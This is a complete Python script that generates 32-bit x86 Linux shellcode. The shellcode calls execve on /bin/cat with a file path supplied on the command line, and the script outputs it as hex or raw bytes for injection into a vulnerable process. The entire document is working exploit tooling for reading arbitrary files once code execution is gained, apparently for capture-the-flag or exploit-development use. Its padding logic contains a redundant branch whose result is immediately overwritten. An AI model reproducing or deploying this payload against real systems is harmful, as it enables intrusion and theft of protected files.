cat_shellcode_x86.py

#!/usr/bin/env python3
from argparse import ArgumentParser
import sys
from binascii import hexlify

parser=ArgumentParser()
parser.add_argument('path', help='path of file to read')
parser.add_argument('-r', '--raw', default=False, action='store_true', help='print raw bytes')

args = parser.parse_args()
l = len(args.path)

if args.path[0]=='/':
    absolute = True
else:
    absolute = False

to_fill = (4 - (l % 4)) %4
out = b''

if to_fill !=0:
    if absolute:
        path = '/' + args.path
    if absolute:
        path = '/./'[:to_fill] + args.path
    else:
        if to_fill == 1:
            to_fill = 5
        path = '././'[:to_fill -1] + '/' + args.path
else:
    path = args.path.rstrip()

while path:
    try:
        out += b'h' + path[-4:].encode("ascii")
    except:
        print("ascii encode failed")
        exit(1)
    path = path[:-4]

pre =   b"\x31\xc0"+ \
        b"\x99"+ \
        b"\x52"+ \
        b"\x68\x2f\x63\x61\x74"+ \
        b"\x68\x2f\x62\x69\x6e"+ \
        b"\x89\xe3"+ \
        b"\x52"

post =  b"\x89\xe1"+ \
        b"\xb0\x0b"+ \
        b"\x52"+ \
        b"\x51"+ \
        b"\x53"+ \
        b"\x89\xe1"+ \
        b"\xcd\x80"

payload = pre + out + post
if args.raw:
    sys.stdout.buffer.write(payload)
else:
    print(hexlify(payload).decode("ascii"))